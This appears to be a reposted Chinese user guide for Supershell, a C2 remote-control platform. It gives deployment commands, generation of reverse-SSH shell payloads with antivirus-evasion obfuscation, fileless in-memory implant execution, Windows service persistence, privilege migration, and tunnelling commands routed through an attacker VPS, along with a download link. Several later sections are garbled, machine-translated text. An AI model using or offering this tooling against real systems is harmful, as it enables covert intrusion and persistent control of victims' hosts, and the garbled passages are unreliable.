Supershell C2远控平台 反向SSH隧道交互式Shell

Supershell C2远控平台 反向SSH隧道交互式Shell

在常规渗透测试和比赛中,反弹shell时是否在为 Ctrl + C 意外关闭Shell而发愁?是否在为执行一些交互式脚本而苦恼?常规的反弹Shell往往只是命令的执行和结果的响应,这样的Shell通常缺少便利的功能,例如完全交互式访问、TAB补全、交互程序的执行和历史记录等功能。

Supershell简介

Supershell是一个通过WEB服务访问的C2远控平台,通过建立反向SSH隧道,获取完全交互式Shell,支持多平台架构Payload.

Supershell是一个集成了reverse_ssh服务的WEB管理平台,使用docker一键部署,支持团队协作进行C2远程控制,通过在目标主机上建立反向SSH隧道,获取真正的完全交互式Shell,同时支持多平台架构的客户端Payload,客户端Payload的大小为几MB,可以理解为在目标主机上部署了一个几MB的ssh服务器,然后获取了一个ssh shell.

Supershell集成了客户端管理、客户端Payload生成、交互式Shell、文件管理、文件服务器、内存注入、安装服务、迁移guid、本地原生sftp命令传输文件、本地ssh隧道端口转发和备忘录等功能。

同时Supershell允许您将获取到的Shell分享给您的伙伴使用,Shell均通过浏览器页面嵌入,共享Shell采用单独的鉴权方式,无需给您的伙伴提供管理平台的身份认证凭证。

功能特点

  • 支持团队并发协作,一个浏览器使用所有功能
  • 支持多种系统架构的反弹Shell客户端Payload,集成压缩和免杀.
  • 支持客户端断线自动重连
  • 支持全平台完全交互式Shell,支持在浏览器中使用Shell,支持分享Shell
  • 支持回连客户端列表管理
  • 内置文件服务器
  • 支持文件管理
  • 支持内存注入,即文件不落地执行木马(内存马)
  • 支持Windows安装反弹Shell服务和Linux尝试迁移uid与gid

支持平台

支持生成的客户端Payload系统架构:

androiddarwindragonflyfreebsdillumoslinuxnetbsdopenbsdsolariswindows
amd64amd64amd64386amd64386386386amd64386
arm64arm64amd64amd64amd64amd64amd64
armarmarmarmdll
arm64arm64arm64arm64
ppc64lemips64
s390x
so

其中以下系统架构不支持加壳压缩:

freebsd/*
android/arm64
linux/s390x
linux/so
netbsd/*
openbsd/*

架构图

Supershell C2远控平台 反向SSH隧道交互式Shell

开发和测试环境:

Ubuntu 20.04 x86_64 

docker 23.0.1 

docker-compose 1.25.0

说明

Supershell采用docker-compose一键部署,容器启动顺序:redis -> flask -> shell -> memfd -> nginx -> rssh

对外开放的服务:

  • nginx8888,用以访问平台web界面。
  • rssh3232,用以接收反弹shell的监听端口。

只对内开放的服务:

  • redis6379,用以记录和操作连接的客户端数据。
  • flask5000,提供web服务,通过nginx转发。
  • shell7681,提供浏览器中访问的交互终端Shell,通过nginx转发。
  • memfd7682,提供浏览器中访问的内存注入Shell,通过nginx转发。

快速构建

1、下载最新release源码,解压后进入项目目录

wget https://github.com/tdragon6/Supershell/releases/download/latest/Supershell.tar.gz
tar -zxvf Supershell.tar.gz
cd Supershell

2、修改配置文件config.py,其中登录密码pwd、jwt密钥global_salt、共享密码share_pwd必须修改,注意Python语法:String类型和Int类型,密码为明文密码的32位md5值

# web登录和会话配置信息  
user = 'tdragon6'  
pwd = 'b7671f125bb2ed21d0476a00cfaa9ed6' # 明文密码 tdragon6 的md5  
  
# jwt加密盐  
global_salt = 'Be sure to modify this key' # 必须修改,不然可以伪造jwt token直接登录  
  
# 会话保持时间,单位:小时  
expire = 48  
  
  
# 共享远控shell的共享密码  
share_pwd = 'b7671f125bb2ed21d0476a00cfaa9ed6' # 明文密码 tdragon6 的md5  
  
# 共享shell会话保持时间,单位:小时  
share_expire = 24

3、确保8888和3232端口没有占用(若占用,请修改docker-compose.yml文件nginx和rssh服务对外暴露端口),执行docker-compose命令

docker-compose up -d

4、访问管理平台,使用config.py配置的 user / pwd 登录

http://公网IP:8888

使用文档

中文文档

中文文档

建议必读

使用前阅读以下内容可以在使用过程中避免某些错误,或在您碰到常见错误的时候快速定位解决方案。

快速使用 • 注意事项 • FAQs

部分功能演示

声明:功能演示时的受害者主机采用谜团靶场,部署Supershell服务的VPS主机为临时申请使用,请不要尝试对演示中暴露的任何IP进行攻击,该VPS主机之前与之后的任何行为与本作者无关。

客户端生成

Supershell C2远控平台 反向SSH隧道交互式Shell

Linux 反弹Shell

Supershell C2远控平台 反向SSH隧道交互式Shell

Windows 反弹Shell

Supershell C2远控平台 反向SSH隧道交互式Shell

文件管理

Supershell C2远控平台 反向SSH隧道交互式Shell

内存注入

靶机不支持TCP反弹,这里使用本机演示,注入msf内存马

Supershell C2远控平台 反向SSH隧道交互式Shell

下载地址

①GitHub:

Supershell.tar.gz

②anonfiles网盘

Supershell_www_ddosi_org_rar

解压密码:www.ddosi.org

快速上手

登录管理平台后生成客户端Payload放至目标主机并执行,Supershell监听连接后可以进行一系列管理操作。

客户终端生成

左菜单栏点击客户终端生成,填写相应字符串开始生成,IP为公网VPS IP, 端口默认3232,生成完成后在已生成客户终端套餐列表链接地址,在目标主机上执行。

Supershell C2远控平台 反向SSH隧道交互式Shell

监听反弹Shell

在目标主机上执行客户端Payload后,切换至左菜单栏客户端列表,刷新页面接收目标会话即可以继续后续清理一系列。

Supershell C2远控平台 反向SSH隧道交互式Shell

常用文件

左侧菜单栏点击常用文件进入内部设置文件服务器,可以上传经常使用的透光工具和脚本,没有大限制(nginx设置最大为500G,要不要大件充当500G)因为初爬是为了方方便地上传水透工具和脚本至目标主机。

注:文件服务器下载接口无需鉴权,请不要上传敏感文件。

Supershell C2远控平台 反向SSH隧道交互式Shell

工具栏

  • 图片标签刷新: 刷新文件服务器
  • 图片标签上传文件: 从本地上传文件,不支持上传中文文件
  • 图片标签上传度: 上传进度显示
  • 列头: 点击列头可排序

文件操作

  • 重命名:重命名文件,不支持中文,无法重命名已有文件名
  • 下载文件:可右键复制链接地址,在目标主机上使用
  • 删除文件:删除文件服务器上的文件

客户端生成

左侧菜单栏点击 客户端 – 客户端生成 进入Payload生成界面。

Supershell C2远控平台 反向SSH隧道交互式Shell

客户端生成

  • 文件名: 生成的Payload名,只允许 大小写字母数字_. ,注意命名格式,Windows结尾 .exe ,so和dll文件结尾 .so/.dll
  • 回连地址: 反弹Shell回连地址,即您部署的公网VPS IP,只能为有效IP格式
  • 回连端口: 反弹Shell回连端口,即rssh服务器开放端口,默认为3232,若docker启动时有调整,相应变成自己设置的端口,只能为有效端口格式
  • 系统架构: 要生成Paylaod的系统架构类型,即目标主机的系统架构,支持关键词搜索
  • 压缩: upx加壳压缩,不对体积有要求的话不建议使用,特征明显
  • 免杀: garble混淆,免杀效果自测

客户端Payload在目标主机执行即可反弹Shell,执行时会Fork一个子进程在后台运行,同时打印一条Fork信息,此时客户端将不会显示任何输出信息,如果您需要调试客户端,请执行客户端时加上 --foreground 。

已生成客户端

表格中展示了已生成的客户端列表

工具栏

  • 图标 刷新 : 刷新已生成的客户端列表
  • 搜索: 支持关键词搜索客户端

文件操作

  • 下载: 可右键复制链接地址,在目标主机上使用
  • 删除: 删除客户端Payload

列表中版本指客户端Payload的版本,与生成时rssh服务端的版本一致。

客户端列表

左侧菜单栏点击 客户端 – 客户端列表 进入客户端管理界面,这里显示了所有上线和离线的主机。

Supershell C2远控平台 反向SSH隧道交互式Shell

工具栏

  • 图标 刷新 : 刷新客户端列表
  • 图标 数据校准 : 数据校准,若客户端列表数据出现异常,可使用此功能获取最精确的客户端数据,但所有离线主机和所有分组/备注信息会丢失。
  • 图标 断开全部连接 : 断开全部连接
  • 图标 删除离线记录 : 删除全部离线记录
  • 搜索: 搜索客户端,支持关键词搜索
  • 列头: 点击列头可进行筛选
Supershell C2远控平台 反向SSH隧道交互式Shell

客户端操作

  • 复制会话sessid: 复制会话id,可在本地功能中 Sftp传输 和 端口转发 使用
  • 进入会话: 进入会话管理页,功能包括 会话信息 、交互终端 、文件管理 、内存执行 、进阶功能
Supershell C2远控平台 反向SSH隧道交互式Shell

详细信息: 查看客户端详细信息,同时可以设置分组和备注,分组和备注设置了XSS转义,因转义原因,输入非法的字符会导致筛选功能失效

Supershell C2远控平台 反向SSH隧道交互式Shell
  • 断开连接: 断开客户端连接

以上均为在线客户端的操作,离线客户端多了 删除记录 功能,可删除离线客户端记录,但没有 进入会话 和 断开连接

会话管理

功能包括:

Supershell C2远控平台 反向SSH隧道交互式Shell

交互终端

交互终端提供一个完全交互式的SSH Shell。

Supershell C2远控平台 反向SSH隧道交互式Shell

工具栏

  • 图标 复制终端链接 : 复制此终端链接,可分享给伙伴使用
  • 图标 全屏Shell : 进入全屏Shell

共享Shell

您可以将复制的Shell链接分享给您的伙伴使用,您的伙伴可以在没有平台授权token的情况下使用共享密码登录Shell。

Supershell C2远控平台 反向SSH隧道交互式Shell

高级功能

若您获取的Shell中存在 lrzsz trzsz 文件传输工具,支持在Shell中直接使用 lrzsz trzsz 传输文件。

文件管理

文件管理提供了以下功能,其中除了上传文件,其他所有操作均支持中文,所有的文件操作后需刷新当前路径目录获得更新:

  • 目录树
  • 面包屑
  • 文件浏览
  • 复制路径
  • 新建目录/文件
  • 上传/下载文件
  • 编辑文件
  • 删除目录/文件
  • 重命名
Supershell C2远控平台 反向SSH隧道交互式Shell

目录树

左侧区域为目录树,点击节点展开目录树,这里只显示目录,不显示文件,若某目录下不存在子目录,则为空。

面包屑

中间区域最上方为面包屑路径,可点击路径快速浏览路径下文件。

工具栏

中间区域表格上方操作栏为工具栏。

  • 路径输入框: 输入待操作的路径,此路径只能为目录,回车可直接加载文件浏览,路径格式一定要以 / 开头,例如 /C:/folder/subfoler
  • 图标 进入目录 : 进入目录,加载目录文件,可在路径输入框中用回车直接进入
  • 图标 复制路径 : 复制路径
  • 图标 新建目录 : 新建目录,同名目录无法新建
  • 图标 新建文件 : 新建文件,同名文件无法新建
  • 图标 上传文件 : 打开上传界面
    • 文件上传支持从本地上传和从文件服务器上传,存在同名文件无法上传,上传文件时与该目标的连接资源会被占用,这时进行的一系列会话操作都会响应缓慢,例如交互终端和浏览文件等操作,所以上传文件不要并发,上传过程中不要进行其他操作
    • 文件上传流量过大可能易导致目标主机断线重连
Supershell C2远控平台 反向SSH隧道交互式Shell
  • 图标 上传进度 : 文件上传进度显示,从文件服务器上传时没有详细进度信息

文件操作

  • 复制路径: 复制文件的路径
  • 重命名: 重命名目录/文件,存在同名目录/文件则无法重命名
  • 编辑文件: 查看文件内容并支持修改文件,仅支持文本文件
  • 下载文件: 下载目标主机文件
  • 删除文件: 删除目录/文件,对于正在占用的文件无法删除,一般在Windows下会出现这种场景

注: 目录没有 编辑文件 和 下载文件 操作。

内存执行

内存执行可实现文件不落地运行可执行文件,实现内存马效果。

Supershell C2远控平台 反向SSH隧道交互式Shell

远程注入

通过http/https链接远程下载至目标主机,通过内存加载运行,可采用常用文件中的链接。

本地注入

rssh把常用文件中指定的文件上传至目标主机,通过内存加载运行。

进阶功能

进阶功能包括 Windows安装服务 和 Linux提权

Supershell C2远控平台 反向SSH隧道交互式Shell

Windows安装服务

目标主机需要管理员权限,并不一定会成功,需自行判断,成功后 客户端列表 会新增一条新记录,即安装的Windows服务反弹的Shell,若要完全卸载服务:

  1. 输入之前安装的服务名,点击卸载
  2. 客户端列表 断开对应服务弹回的客户端连接会话

Linux提权

尝试迁移uid或gid,并不一定会成功,需自行判断。

其他功能

监控台

监控台记录了系统的各种信息,其中需要注意rssh连接数,在没有文件下载、上传、使用shell或内部执行的情况下,连接数应该显示为1,若常增加,则说明存在连接没有被成功释放,此时请重新启动flask docker容器,因为过多未释放的连接可能会导致rssh服务崩溃。

日志监测

日志监控可以查看Web服务运行的日志,若使用Supershell过程中出现问题,可以查看这里的日志,需要提交Issues时附上相关日志。

Supershell C2远控平台 反向SSH隧道交互式Shell

备忘录

备忘录提供Markdown编辑环境,实时冲洗,可用快捷键Ctrl + S保存,mac不支持快捷键。

Supershell C2远控平台 反向SSH隧道交互式Shell

设置

设置提供了两个设置项:

  • 远程主机文件下载时的文件流Chunk Size
  • 远程主机文件上传时的最大尺寸,单位Bytes,默认30M

注销

点击头像,选择注销

切换风格

  • 界面右上角图标切换暗黑模式
  • 界面右上角图标切换明亮模式

本地功能

Sftp传输

支持在本地通过原生sftp连接目标主机,使用全部sftp功能,若需使用此功能,本地需具备 openssh 环境,且sftp支持 -J 参数,一般此条件为 openssh >= 8.0 ,同时本地需要Supershell生成的私钥 id_rsa ,参阅 控制端私钥和公钥 。

sftp命令格式:

sftp -J <VPS IP>:3232 <sessid>
  • <VPS IP>: 部署的VPS公网IP
  • 3232: rssh对外暴露的端口
  • <sessid>: 客户端列表复制的会话id
Supershell C2远控平台 反向SSH隧道交互式Shell

端口转发

支持在本地使用端口转发,完全基于原生SSH隧道,若需使用此功能,本地需具备 openssh 环境,且ssh支持 -J 参数,同时本地需要Supershell生成的私钥 id_rsa ,参阅 控制端私钥和公钥 。

  • 本地端口转发
  • 远程端口转发
  • 动态端口转发(socket代理)

以上三种端口转发只需将正常ssh端口转发命令中的host变更为 -J <VPS IP>:3232 <sessid> 即可。

举例:远程端口转发

对目标主机A端口B的访问转为对主机C端口D的访问:

ssh -R B:C:D username@A

若目标主机A是您控制的主机,则转发命令变为:

ssh -R B:C:D -J <VPS IP>:3232 <sessid>

其中 <sessid> 为目标主机A的会话id。

注意事项

1、浏览器

请使用chrome内部浏览器访问,测试发现交互终端在firefox下无法正常使用。

2、客户终端生成

  • 不必并发:rssh服务没有分区式部署,单独的rssh服务在客户端生成时占用资源,导致此时其他与rssh交互的任何操作掩蔽响应缠绕慢,因此在生成客户端操作时等候处理完成后再进行其他任何操作。
  • upx问题
    • 部分系统结构不支持upx加壳压力缩小,无法勾选。
    • 除了对客户终端积存有要求,否则尽管量不要使用upx加壳压缩,因为特殊征兆,容易报毒。
  • 代理问题:客户终端生成请求会在服务器后端处理,这个处理时间一般比更长,若使用代理请求,例如VPN,需要VPN代理规则,一般VPN会设置60s丢包弹出错误,这个错误只是前面的返回信息出错,但服务器还会正常处理,不会影响后续的结果。

3、客户终端列表数据校准

客户终端列表显示上方工具栏数据学校准图标为数据学校准功能。

  • 若客户终端执行报毒,客户终端列表在一定时间内可能会出现几个陌生主机上线但很快掉线的情况,初步认为是杀软上载了payload包致的情况,此时可以使用数据学校准功能或删除连接/记录清理数据。
  • 客户端列表数据是通过rssh服务的webhook来更新上线和下线状态,若重新启动docker,原线上的主机断开,rssh启动后重新连接会话,redis在备份化学保存的数据,因此引导重新开启的会话没有更新的下线信息,此时也可使用数据校准或开启连接更新的客户端列表。
  • 其他任何客户端列表显示不正确的情况均可用数据校准。

4、目标主机文件上传

这里指的是目标主机的文件上传操作,而不是常用文件上的文件传。

  • 不必并发:文件上传时会占用与目标的连接资源,引导其他与同一个目标的连接操作响应缠绕慢,若流量过大容错路由,因此不要上传大文件,同一个目标主机上传操作和其他管理操作不需要并发。
  • 大小限制:为了连接安全,默认限制上传大小30M,在现实场景中,一般只需要上脚和透光工具,尽量在目标主机上使用下载就行使用wget等用文件中的文件达到上传目标的,目标主机无法下载文件时再使用上传接口来上传一些小型的辅助工具,若一定需要上传更大的文件,可在设置中调整大范围制作。
  • 代理问题:从经常使用文件上请求会在服务器后端处理,这个处理时间一般比较长,若使用代理请求的,例如VPN,需要代理请求应规则,一般VPN会设置60s丢包弹出错误,这个错误只是前端的返回信息出错,但服务器还会正常处理,不会影响后续的结果。

5、内存执行

若内存注册的文件过大,会有一段文件数据传输的过程需要等,请等候判断是否注册成功。

6、常用文件

经常使用文件为内部的文件服务器,为了方便在目标主机上下载文件,因此经常使用文件的下载是无须授权的,因此不需要上载感文件累也是为了上传一些常规的透光工具。

另外,已经生成的客户端下载接口也是无需要授权的。

7、持久化数据

volume目录和config.py文件存在放的是持久化个人数据,在docker每次启动时挂载。

如果您转移了项目源码或下载了新版本发布源码,请将原始的volume目录和config.py替换新代代码目录中的volume和config.py,否则引导至数据交换前反方向连接的客户端信息等问题,具体请阅读本版更新

8、docker重启

不要使用docker-compose restart

请使用

docker-compose stop docker-compose up -d

免责声明

本工具仅面向合法授权的安全测试,在使用本工具前,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。

若您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,作者将不承担任何法律及连带责任。

因本工具目前为作者一人开发,难免会存在功能、性能和安全方面的漏洞,由此产生的任何问题作者将不承担任何责任。

在使用本工具前,请您务必审慎阅读、充分理解各条款内容、免责声明、使用文档和LICENSE。除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。

项目地址

GitHub:
https://github.com/tdragon6/Supershell

转载请注明出处及链接

3 comments

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注